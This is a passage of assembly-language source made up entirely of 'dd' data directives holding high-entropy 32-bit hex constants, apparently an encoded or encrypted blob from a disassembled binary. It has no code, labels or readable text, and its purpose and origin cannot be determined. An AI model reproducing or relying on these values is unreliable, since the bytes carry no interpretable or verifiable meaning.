0D97DF6B6h, 8D9634DCh dd 52DCE803h, 0D3009B76h, 0BB5655BCh, 6487C293h, 2ADDA723h dd 0A6077376h, 533308BCh, 3C81E4E7h, 0D5D06F27h, 83013145h dd 85FCFA6h, 0E99C91F6h, 9DFD322Ah, 4D16F542h, 0EB5D9FAAh dd 0A29E56FCh, 7FDC1327h, 218A747h, 0C17D1EBDh, 7F9A1EC4h dd 2BDAF436h, 0C3128567h, 925E239Eh, 61F3EDE1h, 0EFE68627h dd 0B31C5B7Ah, 5747DDB6h, 2F94B2FAh, 0BADD533Ch, 6D07337Ah dd 6D54D8BAh, 0F0B257C4h, 85C13B27h, 2473D866h, 0F04091BFh dd 809023E0h, 5AB3F636h, 0EA1DBE7Ch, 0BA3352B0h, 7C9B00F6h dd 18D1BE20h, 0D21E797Dh, 66561CD3h, 3E80BCE5h, 0DAB3963Dh dd 9A18237Ch, 237A96A7h, 0ED8181E7h, 0BDF04E36h, 6F16FB7Ch dd 1957B0B2h, 0A5BA2CF6h, 77C10727h, 0A34C476h, 0D35C45A7h dd 879031FDh, 35E0CE36h, 97168C72h, 8047209Ah, 4F96F2E1h dd 0E7D6A21Ch, 0B13A2052h, 434113A7h, 13BCB0F6h, 0C3E67436h dd 4E73297Fh, 2756CABDh, 0F98769FDh, 0BFD72336h, 4F16FC7Ah dd 0DC65A292h, 0E1C07DC3h, 6DFFCE7Dh, 10168A13h, 0B65C4290h dd 629637F6h, 0ED6E053h, 0D116705Ch, 484A3398h, 11F3E5EBh dd 0E4E29D36h, 0B10A3A76h, 5046F2B2h, 8BB294D6h, 8AD44701h dd 4E250476h, 3856B3BFh, 0E5F355EBh, 3D99C60h, 83F8EE45h dd 5A610FB9h, 4A544E1h, 59F1C2C6h, 0C9B76B13h, 0BB636085h dd 0DCEBF46Ch, 618D64C6h, 0D7B7AB13h, 153BBC8Dh, 4008851Eh dd 0B9DB539Bh, 829B5013h, 3730829Fh, 0C2F69E93h, 0E4D91903h dd 0BC235498h, 0EF67BE07h, 88A16DD3h, 1755E7ACh, 0BBF0C003h dd 23A6E9DFh, 80F374ADh, 0DC70B297h, 0B74EFC86h, 9FFA6DD3h dd 7B9BFE93h, 12B3D053h, 852261D7h, 5762D693h, 7B33578Bh dd 91BD4007h, 2991EDECh, 0A1B0CEC3h, 3E212FB3h, 0CB2A5D93h dd 7C2B7AE4h, 9E643511h, 1C32AC6Ch, 0B5BC65ACh, 8773E8B6h dd 0A7DF5683h, 0FF788C93h, 0B538C239h, 0CF1B5079h, 773376D3h dd 5399E691h, 0A1C1E63Bh, 0A6733213h, 0D0CCFE80h, 9BE3C245h dd 7C4C6B0Ch, 3F63BE35h, 0FC472956h, 0D67BA918h, 1D507A43h dd 77735D9Eh, 64301EC3h, 0D90C3FC4h, 677127D8h, 20FEF003h dd 0FD336E09h, 0CC0CBF7Bh, 5B3661ACh, 5A73282Dh, 251AA95Ch dd 84E93493h, 4C38EDACh, 1F635ED5h, 441D395Eh, 0AA1B0493h dd 7A4CA5ACh, 574D6296h, 0E1F37BD3h, 0D07CC1B3h, 0D1B3827Ah dd 708C2EE7h, 0E3E1A358h, 0D3767483h, 0EE3EC127h, 0B773315Bh dd 0FACDB13Bh, 434376Ch, 0A95BA790h, 0A2734013h, 562F7B52h dd 4AC0E483h, 0CF14BFDEh, 73228803h, 24638F82h, 9966D3C2h dd 9EB3726Dh, 0FA8C9417h, 0BD2338F5h, 0F3F796CEh, 41B34206h dd 162EF813h, 0F528053Eh, 0B60CF693h, 99A8C4C6h, 12217013h dd 73352F3h, 6F374793h, 0ED36DD35h, 0CA737808h, 0BB679F3h dd 8FF31C88h, 0A4B36853h, 1769FAD0h, 9D33EF3Bh, 0B2B1B993h dd 547A74F9h, 0E21A1BE3h, 0C5231193h, 13FBF896h, 29263B11h dd 4873102Ch, 0E5669531h, 43F3A493h, 345E7B0Eh, 6C735808h dd 250CDA4Eh, 0AF8F6F93h, 5DBC225Bh, 2F7370AAh, 7F3B2A52h dd 0DBA71493h, 1B36B57h, 69092DECh, 59B80EC3h, 0FFD7D81Eh dd 19B39252h, 9B9BE079h, 0BB3336D3h, 74F3D6C1h, 4FC54FACh dd 0E402803h, 1437E95Eh, 3AA2CC93h, 0D3E20039h, 0F733812h dd 0A261E6D3h, 83CDB606h, 1736DC53h, 6323C367h, 8532EABBh dd 6F0C6B93h, 29B15277h, 5DE63F13h, 943306ECh, 1587A416h dd 0DAE3AEB0h, 0F57362C7h, 0A650982h, 5BCD1606h, 5936BB53h dd 1025E066h, 2D0DA046h, 37A45993h, 85D97D01h, 13E4F54Bh dd 0CE33CED2h, 0AB99DCA0h, 5918A10Ah, 0F23F043h, 5261A683h dd 0F3CD0E06h, 39771B53h, 7873E811h, 2A3B1AA7h, 3BCC9E06h dd 0EC4C9153h, 0CF632F01h, 1D37A48Eh, 26F98A13h, 2C384C52h dd 0F7634D97h, 0D0BEB730h, 9BE3EC93h, 16E5E350h, 30B304C1h dd 8D32C95Bh, 0D3772B93h, 91B37A52h, 7706F22Dh, 0B50D9E95h dd 0AF2E89Ch, 6733A253h, 0E9828533h, 0B4637852h, 7186D3DDh dd 0C77525D8h, 19587712h, 7433E482h, 0EE0C8FC5h, 0C9A32D59h dd 10B25B4Ah, 6D336956h, 38768993h, 9BB34A4Dh, 477FC013h dd 0C663FED3h, 0D4F9D96Ch, 358E8243h, 8073D013h, 0DD339956h dd 13429D93h, 5F32CA53h, 0E13A4A43h, 596EBDCh, 9D70BC93h dd 0A48F5E5Bh, 0FFEAC41Ch, 6D0F96D3h, 0BF5F17E6h, 5D363569h dd 8A738813h, 5513FEDEh, 0ACD211B3h, 66C61636h, 1A538CBFh dd 424D87AFh, 87873CB3h, 3F32DB26h, 0B8498810h, 235B3BFCh dd 34F363D4h, 0AEA36862h, 3D842013h, 87A68981h, 50F3D4ADh dd 0E1E34A93h, 77A8043h, 3A77BED3h, 0C49F62E4h, 6B32632h dd 5F4C8A86h, 0E9F363D3h, 5A3A07A5h, 318CCED6h, 771B8913h dd 94B32ED1h, 0E4A32AC2h, 798CACC6h, 20E68D13h, 5D3346C8h dd 12A76DA0h, 0C0E2A803h, 0D921DDECh, 31B49EC3h, 0AD6613B7h dd 21B3326Dh, 58FEF0D0h, 7C33D6C6h, 0B299D76Ah, 324C6B39h dd 0A877CBECh, 0D1F38BC6h, 70286FC9h, 4AB82183h, 2AFEDC43h dd 0ED232B10h, 22FF3E18h, 0FB38DA53h, 0C773291Bh, 0DE1886D0h dd 983847F3h, 0BCC763F5h, 0E486B254h, 52F425FDh, 0C43F7FC0h dd 0B5E39ED8h, 6522D879h, 10CC11B9h, 0DBE30275h, 17E9FFD8h dd 0BBF0C003h, 4EFC3DDFh, 434637Ah, 515BBA39h, 6470479Ah dd 0A1751180h, 0EA1EDC4h, 0FADAAF0Fh, 80005F61h, 6A6FF2B5h dd 1C97BAFAh, 82EF5924h, 72010A66h, 65BABDh, 0D49A6FE1h dd 71F60E3Dh, 2D1CCC63h, 0F93384B6h, 869436F2h, 42DCD227h dd 8771E867h, 0D54C6ED3h, 59838D93h, 14DABA3Ch, 0AC01793Dh dd 7C5F07B4h, 23DDCDEBh, 0E8FD0A3Fh, 9B531350h, 3455C5B4h dd 918985E1h, 0BBF66106h, 7039F533h, 0AB13989Ah, 0B7814DE5h dd 0F9E67026h, 6773C813h, 18DE9F8Eh, 0CDF37C8Dh, 49A6D5D6h dd 3A8CF013h, 0FD2378ADh, 47EC7C52h, 0AAD806Fh, 0C74D0EA6h dd 199FD7D3h, 1DD9A9BDh, 0D44C2CD2h, 0A2FE4366h, 6D2389E9h dd 0F4F17218h, 7C163CF6h, 574B1896h, 43B671D3h, 11F35CABh dd 0B549C4DAh, 3E882E5Dh, 36FCC4D2h, 0E8D29CC3h, 1D3035ACh dd 0C2771037h, 53B8697h, 1DA0BC93h, 0E5F7DC10h, 6A8C405Fh dd 4D23A859h, 8E872498h, 82B150C0h, 19411DECh, 0A5CCDEC3h dd 3564C400h, 125B9DACh, 3C73B013h, 0F26C4595h, 0BFB77AC0h dd 0D44CAA1Fh, 9763C699h, 1ACD323Bh, 0CDF1746Ch, 44C2DACh dd 0DF6332CDh, 0A8BEBFE0h, 63E3867Bh, 0E0E24B02h, 56223943h dd 6BB52B2Ch, 0A01B0C83h, 0ACB34253h, 7C21D540h, 0D177C8E1h dd 460C34DFh, 21A3B4D9h, 7773D2FBh, 0B54059D3h, 6F9D15E1h dd 39B3F335h, 814195ECh, 88BA56C3h, 43E39AA9h, 1C3ECB5Ch dd 0E763516Eh, 0A731B5Ah, 74A2EC83h, 0C98DA8C6h, 2B1BE313h dd 0F033C6D3h, 0A3EA9E26h, 0BC3E3353h, 57638735h, 5AC6CC3Bh dd 7E343A6Ch, 49A38C3Eh, 3AF0B013h, 0ED2328BCh, 0E660993h dd 21B3CA4Dh, 0AD724247h, 175B2CD3h, 9473CC93h, 0A98C28C6h dd 55B3D513h, 0D0BE84A6h dd 93E3EAF3h, 6CB52001h, 276DF5A6h, 0D565BAD3h, 24A16DC3h dd 398C5CC6h, 0EA8C9813h, 0CD2329F5h, 42B4E155h, 0B9B3BA43h dd 0A773081Fh, 0B67C0D84h, 65C19FD8h, 99FFAE17h, 0D1F9A5ECh dd 55A086C3h, 73F3D494h, 0D9529FDEh, 9A2A7803h, 750D386Eh dd 4ECEF493h, 55BADACh, 873A013h, 0E37AB89Ah, 0A7DD10D6h dd 0CEB3D61Fh, 974D6286h, 0DAF3BBD3h, 2BF1B917h, 7CDB5153h dd 42731013h, 0D2A7966h, 0EE7EED93h, 0A1A33541h, 8865EFBh dd 538E2D2Ch, 9BF3ECACh, 0EBA3B65Ch, 0D3F28013h, 8D33D743h dd 0C2F24CC7h, 844C7A53h, 6763F6E5h, 0B4A3DA52h, 80A36C93h dd 0BB3C887h, 906565ECh, 3DB646C3h, 5BFEE1CAh, 81B3F9DBh dd 0E9D9ADECh, 0C7D88EC3h, 659C6110h, 0BCB31243h, 6CF6ED3Ah dd 3D33A6CDh, 9CF1916Ch, 31365A43h, 46FA2C1Ch, 0D5B8FED3h dd 14F3C79Fh, 56360D63h, 4973C00Dh, 0CD726156h, 13997593h dd 63D9CB39h, 887D8DECh, 0FDB06EC3h, 3B77B36Ch, 3AB3F252h dd 0E118D59Eh, 5D5996C3h, 160CB7C1h, 0D1A304ADh, 0A27C4896h dd 7533DF93h, 0D57F911Eh, 11026243h, 90898CFBh, 0BDA76E2Ch dd 0D8AD5493h, 658723B5h, 15E60747h, 68335EEDh, 2BED062Eh dd 61B26353h, 208CDA0Eh, 33B4E35Eh, 6399C483h, 0B1B30E3Bh dd 0F8203A13h, 450CB446h, 8FB78193h, 1126CF47h, 1F738051h dd 163950DCh, 12E710D7h, 6BB182B3h, 7539CA12h, 0CE3064C1h dd 9BFB58D7h, 8972BDB2h, 0FB78511Bh, 3FCC46F7h, 0B4E29C3h dd 79B3EA6Ch, 0E773480Fh, 4D05B0F6h, 0A5D3C2B3h, 0FC961873h dd 574B5E36h, 5813BEF6h, 0FCB91EE0h, 193241Ah, 6DE64744h dd 24331EEDh, 0FBF3F057h, 19B3F853h, 0A8CB344h, 0ED2309D9h dd 36630918h, 71D9DA43h, 0E1833F0h, 10DB2FDEh, 4DF3CC93h dd 0B9B96676h, 35E6AF44h, 0DE33B6EDh, 78A3F857h, 0E1B42258h dd 8AFE9813h, 8523F073h, 4E0C6FC4h, 29A34D59h, 2B0D0096h dd 0F27BA35Eh, 0A6706483h, 51A3AFC3h, 0E0FE8513h, 0DE334E92h dd 1AF3C65Dh, 0C4CB105h, 0EF630F15h, 43337E50h, 8D7845BCh dd 0FEFB9FDEh, 1AC37803h, 75466021h, 41D9F4F3h, 7BD2ADACh dd 0D27A4304h, 47D8F7A4h, 2DD88B18h, 0EFB27DEh, 2380E803h dd 6CD8C954h, 0D16673C0h, 0F9B3D26Dh, 0DF6667AEh, 374767D3h dd 538684FBh, 0B26F553h, 7773482Dh, 5572E96Eh, 8A87FC93h dd 0F7DCB794h, 3F738003h, 8F5D6D3h, 0C3E365D4h, 0EFBB9353h dd 0E2B437ECh, 0B5230B53h, 8BF36C93h, 59B7600Eh, 8F3CFA1Eh dd 935C29BDh, 1395FBB3h, 0E4D5833Fh, 0F73C1832h, 405EE7A7h dd 5B9CA8B3h, 0ACDF7730h, 6B121271h, 673E97B6h, 83D324B3h dd 82931573h, 221EC566h, 0F454DEA1h, 859628E1h, 6BB98F72h dd 0E116BC76h, 0AE564AA7h, 338A18E0h, 11C3AB3Bh, 0D912386Ah dd 7D564EB7h, 2F90D9E3h, 85C79C32h, 9E073333h, 235AF2BDh dd 0AED3DEF4h, 0B0E4305Eh, 4E1BEB67h, 1413B9BDh, 0AFD340FFh dd 78931B32h, 153D47Dh, 0C95B61BAh, 9C9574BFh, 33D58A21h dd 0F31D9D7Ah, 0C57A6EA0h, 4F9AFDE4h, 0DEB9DF69h, 0BA01457Bh dd 484117F3h, 169CBDB3h, 0C3D53A7Fh, 631D0D7Ah, 161381A0h dd 8A9661FCh, 0D9C70B73h, 3B53E37Ah, 0BC568BBAh, 0F4877DB3h dd 40DFAA20h, 0C352BD67h, 923625A9h, 40C9D7CAh, 0C19345E3h dd 9C3FA2B2h, 2496AC09h, 72E30287h, 0FB43AF80h, 0D515392Bh dd 4E73A981h, 9FFF7CE4h, 0CA0E6252h, 0B963D607h, 0A25DE5F6h dd 0ADA0BBFAh, 6F5ED140h, 0D4A46F7Fh, 0E2800E02h, 0FD91C53Eh dd 9B6261h, 0CE010B16h, 0E872DAD9h, 23584D18h, 71B3DA53h dd 0C7732813h, 15337ED3h, 6BF3CC93h, 0B9B30253h, 0F735013h dd 5D33A6D3h, 93F3F493h, 0E1B34A53h, 57739813h, 0C78B4B50h dd 58F33C83h, 39F1CEF6h, 0C87CC013h, 9EBE0290h, 48446B8Bh dd 0DA63B955h, 8C572C57h, 0EC415291h, 38FBEEA8h, 8DF16947h dd 667F7238h, 2D713E46h, 0CF765D93h, 2AB33A11h, 3FB1FB16h dd 0A7521731h, 3E7B1C97h, 9A3760Ch, 5F73C4FBh, 0AD2C9ED3h dd 667E4493h, 31A3B9DFh, 0F36BD14Ah, 0D1F3BDDFh, 0AE0C7B71h dd 79A380C7h, 0CCAAE7D0h, 0D17395Eh, 0ACE35793h, 0A13CF623h dd 1577B090h, 0C9AE2725h, 18F3ECB0h, 0ECC73269h, 4D70B238h dd 717D5BC3h, 40AD7FCBh, 15C77A69h, 6498FAECh, 5D236C2Ch dd 0F40C93C4h, 0D4986C78h, 0AF63B2AFh, 0C978458Bh, 0AB761B50h dd 46B3FA11h, 0C731AC96h, 25338ED3h, 7BCF3493h, 4C381253h dd 1F632287h, 92C51F3Bh, 0A3EBEC6Ch, 4C305A53h, 4763EA87h dd 1C3B8BD3h, 0FBD7440Eh, 0C62F6953h, 9F31449Eh, 58BCE5D3h dd 13E3360Bh, 23275FDAh, 0B49B1803h, 36336ED3h, 0C8787F5Ah dd 0A9B3F2D3h, 19EA841h, 0D830692Ch, 83E3A62Fh, 0AB30EC50h dd 0A37C881Fh, 7533DFD4h, 0CBE35610h, 194EE65Ch, 2DF8B013h dd 75DB56DFh, 0F00CAB6Dh, 51F116D6h, 0C7B5FB13h, 1CB34659h dd 0BBEAE893h, 8AC7FCAAh, 5482CB53h, 0CCB2779Bh, 0BC2C1B4Ch dd 0FDF7E3D2h, 0EB06685Fh, 0D6FB958Ah, 24FCF66Ah, 0F9B342E4h dd 0B10B1175h, 183CD4E0h, 0D3F33438h, 21890905h, 3DF8DD66h dd 4E31C5C3h, 4A027F99h, 964DC0BBh, 3C603ECh, 0A0334691h dd 0B88B6416h, 91377E5Ch, 528C4813h, 3523DC6Fh, 75A604C3h dd 5CB0DDACh, 2F6332AFh, 3F8F435Ch, 0B7F01483h, 0C1303977h dd 58A88B11h, 0B7D00665h, 0A8D39513h, 4D97B692h, 0B657FC3Ah dd 0AD6812DFh, 0D8726D78h, 0AC080D5Ch, 3CF21667h, 0CE5D3B7Bh dd 9072FAE7h, 4612390Ah, 0F4F27E67h, 0F1868405h, 6872D2E7h dd 12EBA3C0h, 0CCF28667h, 766B07AEh, 20722AE7h, 0C8964D15h dd 84F2CE67h, 2C1629E3h, 960C62E7h, 51A3F8CBh, 5802E148h dd 766DA12Ch, 0A41AB851h, 5A4C1DADh, 0B7775A10h, 0C2C6CF3Bh dd 4A665C6Ch, 0A7B33A75h, 156B49ABh, 66D70E31h, 1095FE91h dd 0E1EB5439h, 0A08C553Dh, 2A3B3450h, 0BBF62E42h, 0CE46BBBBh dd 848968ECh, 858335A0h, 0DCA0991h, 9219C243h, 971B7A34h dd 1EC9E679h, 4243ACE6h, 5E460BBBh, 0F772E0ECh, 97B7AED3h dd 7B22F1E7h, 1F58F8ADh, 3FCB85F8h, 26B3D6D3h, 4E309B71h dd 18AEAC6h, 90A4E313h, 30C4DD09h, 0BE35517h, 49B3A253h dd 6EB3651Ch, 78C54D33h, 33E3AD11h, 0E7B59F52h, 3C56B11Eh dd 0A7B678C0h, 79F3CCAAh, 0C4D51426h, 1B984522h, 4832BBB5h dd 1F1BAFF5h, 7A4CA5ACh, 0D2FA9C50h, 9523BC7Fh, 6E048F38h dd 39A3BBD7h, 9F73D013h, 0D9F3B3DCh, 8F1BDE2Fh, 0E84C35ACh dd 0A731A886h, 87B698D3h, 5AF3ACAAh, 98BCF626h, 3F5842F8h dd 0C8C45578h, 83E3DD17h, 0C1B33A53h, 0A2F9AF67h, 7523E7ADh dd 0ADF8CC52h, 7FF6E95Eh, 0C58B00B8h, 844D8359h, 13325483h dd 25D4AF48h, 0A4D8FE9Ah, 0E982813h, 0B4972481h, 318D256h dd 0CF4A5E96h, 0EC6B72D3h, 0A058DC73h, 96279F95h, 0EC7A6803h dd 0BECF0EF6h, 404B6AB3h, 12182453h, 1777FA0Ah, 62C7EF3Bh dd 1F7B96Ch, 47BB6A92h, 11B35116h, 7530C578h, 0E99D603h dd 9A435A0Bh, 3AF3FFECh, 0D237147h, 4B092495h, 4337D520h dd 2D8D8B67h, 0FFCD5DA7h, 410D2BE7h, 134DFB27h, 0E58D7C67h dd 0B7CDC9A7h, 4A431BE7h, 8603A1B8h, 0BCA808B9h, 4EC6BE17h dd 100BEC53h, 0CC4451EFh, 9F63D997h, 0ED3316D3h, 21860223h dd 3E3EDE57h, 0BBD6A2EDh, 73336EEAh, 6E0F4C38h, 0B9030526h dd 4F8C1F93h, 0A2514E79h dd 16040B6Ch, 0E1A373D7h, 3773D813h, 0B45556B5h, 0F2473EE6h dd 3103D935h, 460D4519h, 2DF316C3h, 3E1BCE90h, 0E14C45ACh dd 23F6FF9Bh, 0F5334EEAh, 3EF3AC13h, 13355251h, 0FF4A4CB6h dd 0BD98E0D3h, 7486D16Fh, 8E332AE3h, 0D4D938ECh, 5CA3735Eh dd 0B61B1C83h, 0FE4CADACh, 4F4A2496h, 0AD33F6D3h, 53F03097h dd 0B4443033h, 8763D197h, 0C5333ED3h, 7E4B8BE7h, 0D2B32ED8h dd 4BF6E75Ch, 1E3376EAh, 5CF2B493h, 0A1B3FAD7h, 5D9BE813h dd 0D98E2778h, 73F3ECD1h, 164CCC9Fh, 94D968A3h, 0CF936B5Ah dd 7E1B2483h, 0E64C85ADh, 774A4C96h, 0B5331DD3h, 0FCE91893h dd 498A26D6h, 0AF73F013h, 153932D2h, 0CC0C6ABDh, 7E4D71BBh dd 7D9A88ECh, 0B9B60578h, 0F0F3CCD1h, 407B399Ch, 0F31C4AEh dd 917B3FD3h, 5C97632Bh, 3180F165h, 0C2840375h, 9523C757h dd 0EBF34C90h, 0BC459127h, 8F63E991h, 35395253h, 0EC0C8939h dd 9E4D91BBh, 0D314A0ECh, 3698485Ah, 0AC58DA53h, 0B98A76D6h dd 0FF734313h, 0BB69E2D3h, 93CA6616h, 0DBC6BA53h, 0D88E09FBh dd 8B01362Ch, 0C91BD36Ch, 0A94C9DAEh, 94675833h, 84D0F92Ch dd 0E60CECF5h, 0EA220135h, 0AEF76D98h, 37C44EC3h, 3BF05E64h dd 9DC6D253h, 208FFCFBh, 0C52CC62Ch, 9C0C3E7Dh, 0A44CA235h dd 0ACE2C375h, 0D0B87158h, 0ABE34E37h, 0B13A8A78h, 0CBF667EFh dd 9E33F6EAh, 0A7F33493h, 0A5367D6Bh, 7773C82Ah, 0B1392ED3h dd 9F768BBFh, 69B3A26Ah, 0CA720013h, 0F0F1BED9h, 81B5B6Ch dd 664C05AEh, 0F74ACC96h, 35339ED3h, 63F9989Bh, 264CDFFFh dd 0D08E11FBh, 0F9B6312Ch, 0B7F304AAh, 75B36A53h, 0AAE55004h dd 8C8BF12Ch, 503BA253h, 3D739AEBh, 0EACB4B17h, 4654DD2Bh dd 0DC0EFB7Bh, 0F5362DACh, 0CF73382Ah, 60337ED3h, 0E94E4CE1h dd 0B9B3126Ah, 6A9B3967h, 0E5CC592Eh, 5ADAECBAh, 0D8CDEF59h dd 0D3B39803h, 0FB96E4D0h, 70F32CAAh, 0D64E39BBh, 0D5C270ECh dd 0F4B19359h, 0EB596483h, 0AE4C476Fh, 0D9F6BE1Ch, 78334EEAh dd 0BF76C97h, 29BB0292h, 5FD8569Eh, 0D5642CD2h, 8C0C29B3h dd 0A797167Ah, 4E889AABh, 5CB74B24h, 0BBE31C83h, 0EC75253h dd 39D9E9A3h, 0AFC9836Bh, 0B582272h, 0CE4C66AFh, 0B4D900A3h dd 68BA9513h, 2BE3CE1Bh, 403747A4h, 0CF531003h, 0A4666D3h dd 0AF2D5CC4h, 2AE9F5ACh, 0DC2BE8DCh, 39B6A419h, 12F3ECAAh dd 119CE19h, 0C08C7CDBh, 4DB26EB5h, 0FA77A164h, 11F37A43h dd 6407C813h, 0BF1BDA53h, 1BCA1036h, 0D018C453h, 0BF317CAEh dd 78C4EDD3h, 33E3AD17h, 0C1B3EA53h, 87C33166h, 1C4F0BD1h dd 8C59DC83h, 0D98A96D6h, 1F73E013h, 0DD38C3D3h, 0DE760E2Bh dd 5BB34A6Ah, 0FF1595F8h, 10C4E6E2h, 0EBE37517h, 39B38353h dd 0A6C3D267h, 0E44E83D9h, 0F7337483h, 1C16C050h, 0D173082Ah dd 848B0878h, 0DF764B63h, 0A9B3E26Ah, 8A734011h, 47FB22D1h dd 93CA9936h, 58185C53h, 373120AEh, 5CA366D3h, 3C582C93h dd 98AE6D6h, 6F73B813h, 554272D3h, 0C0CA8B3h, 78372FA4h dd 9373F803h, 0EE464ED3h, 0BEF92423h, 89A3EB2Dh, 283ECBB9h dd 3D0AF256h, 63FBC493h, 0D7A26F53h, 0D93EBABh, 450AC076h dd 98586A93h, 0EC58E893h, 575A2875h, 0A44D43D9h, 37333483h dd 5F168050h, 1173C82Ah, 41B6D978h, 1BF36CAAh, 0FB3B243h dd 0CBB381ABh, 5F7D6D0h, 7A8D0199h, 3AD5FA43h, 65F6FE1Ch dd 9E338EEAh, 7408437Bh, 5D36D5ACh, 2F73602Ah, 973C6D3h dd 0B1A3A49Dh, 118A16D6h, 0C29B1213h, 28CCF128h, 767AA2DCh dd 49A3D0C3h, 0A6F765E4h, 0ED3336C3h, 2F870493h, 0DA1932E3h dd 85C7959Ah, 10D87EC3h, 94082D7Bh, 42D9EAACh, 8A84AFECh dd 5D239F57h, 93F2F493h, 0A1034126h, 0E0F1D19h, 6E99EEC3h dd 584B5A9Ch, 55167893h, 1973D02Ah, 6732A678h, 3A77E164h dd 51B3BA43h, 88060811h, 0CCB7DB24h, 4BF3AC83h, 83C6E257h dd 6A79F0A3h, 3D23BFADh, 4A707119h, 21722A43h, 71CB1E03h dd 65836552h, 0FB431478h, 30CDD759h, 0A8D9A003h, 0BD0A7256h dd 0EBF34493h, 57A3EF53h, 8D9B6BABh, 0C50A4376h, 9B58EA93h dd 0C9BB2952h, 0B2F61A5Bh, 0B73376EAh, 0AC096B7Bh, 2536FDACh dd 0F773482Ah, 0F433BED3h, 0FDD689E6h, 0E34BB1EBh, 2F4AFDB6h dd 0BE98B0D3h, 7EDA8E53h, 11A338C3h, 5EF74DE4h, 0B5331EC3h dd 14866CB3h, 4258D5E2h, 0B77A4875h, 0C44EE3D9h, 0D7339483h dd 0FC16E050h, 0B173282Ah, 0B58EA778h, 0F1F3CCD1h, 59169892h dd 79737051h, 6F6B0678h, 0B3CA7816h, 885BF053h, 0B08C57E9h dd 850A7A56h, 0EBF34F93h, 0CE9FF652h, 9F4A5496h, 0DD3326D3h dd 0E4D3019Bh, 718A4ED6h, 0B7731813h, 0ED391BD0h, 0A40C454Dh dd 5649B9BBh, 573A8ECh, 0CDB692Ch, 740C1B69h, 0C18ABED6h dd 27738813h, 0C53BAAC3h, 0E61B865Ah, 0EE4C9DA9h, 7F4A3496h dd 0BD3306D3h, 43D92097h, 3D368054h, 5673E82Ah, 6C3E5433h dd 39F3B89Bh, 998AAEF6h, 0DC97E013h, 8637B253h, 9C0A3B7Bh dd 1BD2AAACh, 0F88A9FFBh, 0AA8BD82Ch, 0D7560673h, 9FB3526Ah dd 0B69578B8h, 18C4192Ch, 0D3E30D17h, 21B38A73h, 0B0F89C67h dd 87BBA358h, 0DAD87C83h, 0D94FF3DAh, 0C3F60A4Bh, 0A73346EAh dd 0BC0A1B7Bh, 15360DACh, 0E773582Ah, 4133DED3h, 0DB4B8A9Fh dd 0A5362890h, 0C473602Ah, 828BA0D9h, 0CF561E73h, 67B37A6Ah dd 0AEE550B8h, 20C4F12Ch, 0FBE36517h, 48B39250h, 50F8BF67h dd 0AF93B358h, 0EBD88483h, 424F92DAh, 43F6DFDAh, 15336EEAh dd 1EF34C93h, 0C5368F5Dh, 8573402Ah, 0A4B3E6DBh, 1E0B8790h dd 0C5F78757h, 0D7B29803h, 2EB85EDBh, 63953A70h, 82D5B262h dd 0FFFC7875h, 0CD33AEBBh, 65126693h, 0D418E2F8h, 0C1757DDAh dd 93F36F6Bh, 0E1301C38h, 664AC9BBh, 6BF6C7ECh, 3D3396EAh dd 773D493h, 4A7CA149h, 731CC96h, 0ECFBE5D3h, 0C41BE0DBh dd 0B94CADAAh, 5A9B0AD0h, 20CC092Ah, 0F3CAD416h, 0B5366D53h dd 8773F82Ah, 0A0133ED3h, 0D3D8DB95h, 0F2AA290Bh, 37583840h dd 90B8B6F8h, 53E3F63Bh, 0E33B9F52h, 0CE725803h, 4117EA58h dd 8B9B411Ah, 54383243h, 3F63C29Fh, 0CFBB53F8h, 46042483h dd 11A343D7h, 6773C853h, 6DC41CA7h, 0BF7AE38h, 0E430F505h dd 0AF63B2D7h, 24B749D3h, 0DBF39492h, 81B3EA5Eh, 99217D58h dd 1700C296h, 37BF98BDh, 0BB26ED53h, 9673702Dh, 7D716E56h dd 0FB785793h, 0E6B596Fh, 4F88060h, 602A16E7h, 7E78B36Ch dd 39A3C0EBh, 8331D348h, 9FEFA35Ah, 51F07483h, 8136435Bh dd 3C730851h, 0B6CC46A0h, 5BF3BC13h, 564700BBh, 47CECBECh dd 1B338691h, 7C07027Bh, 6926B1ACh, 0AC739851h, 3F30D699h dd 483D079Fh, 91BC67BAh, 6F73B173h, 0BC6982DCh, 46F05493h dd 41A3E8EFh, 0D50B4D10h, 0D99F4EC3h, 9976937Bh, 4B3D253h dd 5A582455h, 2D2334ABh, 8BA3C290h, 4E4CEEF0h, 45CBD590h dd 2033BEC3h, 0A7B43798h, 0F8A8C15Ch, 43989013h, 0DF8B73EAh dd 56FC3483h, 21B38B5Eh, 350B5D10h, 44552EC3h, 14D683ABh dd 69B34ED6h, 0BD338B13h, 5D0715F8h, 0BC07C27Bh, 290EC3ACh dd 0E8735851h, 35337A56h, 3776EF93h, 0DAB33211h, 3F310896h dd 56334DD3h, 31FC18D4h, 1B36A9Eh, 587BFF28h, 0A533CA50h dd 0F933DF93h, 4AA7D550h, 8F319896h, 126364D3h, 33B15C26h dd 43262553h, 9D73382Dh, 903CBE56h, 6BF3CC24h, 0B9B39EBAh dd 8C6C13h, 5D333256h dd 86CD7493h, 0E138CF5Ch, 71F89813h, 0B170C5D2h, 2806D4C3h dd 948A8DACh, 7F6382ABh, 483061A6h, 3E3262Fh, 13CB3F50h dd 22FA0803h, 0F5231C37h, 0CEC8AC18h, 99A3A08Fh, 6A483861h dd 3D23C433h, 73CEBDE1h, 0B3C32A53h, 176C9024h, 2BBECED3h dd 9032976Fh, 19F15151h, 1D972528h, 0A146F6C3h, 1CE38010h dd 15F71562h, 9C98890Fh, 4DB6B110h, 4BF39CD1h, 3BCB77D8h dd 5C9B1003h, 7CCC9927h, 53F3B43Ah, 8ABD7FD3h, 0FE015454h dd 4A3BE9E8h, 640CC011h, 6CBC7BACh, 0C08C7EA1h, 0C17EA58h dd 0C3DAA034h, 0EE4C8553h, 0E63123E8h, 0B5533A99h, 38BD8C93h dd 7DBF2993h, 0EDB77594h, 78BA46C3h, 33E3D653h, 0A83B53DEh dd 52703813h, 2523CCABh, 355679F5h, 8BB0D478h, 13314B07h dd 85C8F015h, 0A3A08554h, 0F1B65A53h, 1FAA813h, 566DA12Fh dd 9566B3C4h, 0F8B3926Dh, 0A7CCFFBh, 0DD3327C9h, 3B9920C3h dd 0F44C3539h, 0B76326CDh, 0A6CAE56h, 5BF2B91Bh, 4D3F1A53h dd 0EE9BBFECh, 1E3396D3h, 0EAB590F6h, 0B4E05F3Fh, 4E01FD70h dd 7572A7A7h, 89BF996Ch, 8C4C6243h, 6F638E21h, 0FF67835Ah dd 0EA1B5483h, 12B3AA53h, 0FC12AC76h, 8B4401B6h, 5380EEF6h dd 0FBE3A23Ah, 0B31A567Ah, 2D5611B6h, 8BAE2CC4h, 0A25BE5ACh dd 54736813h, 2656ECB6h, 0CE8163E7h, 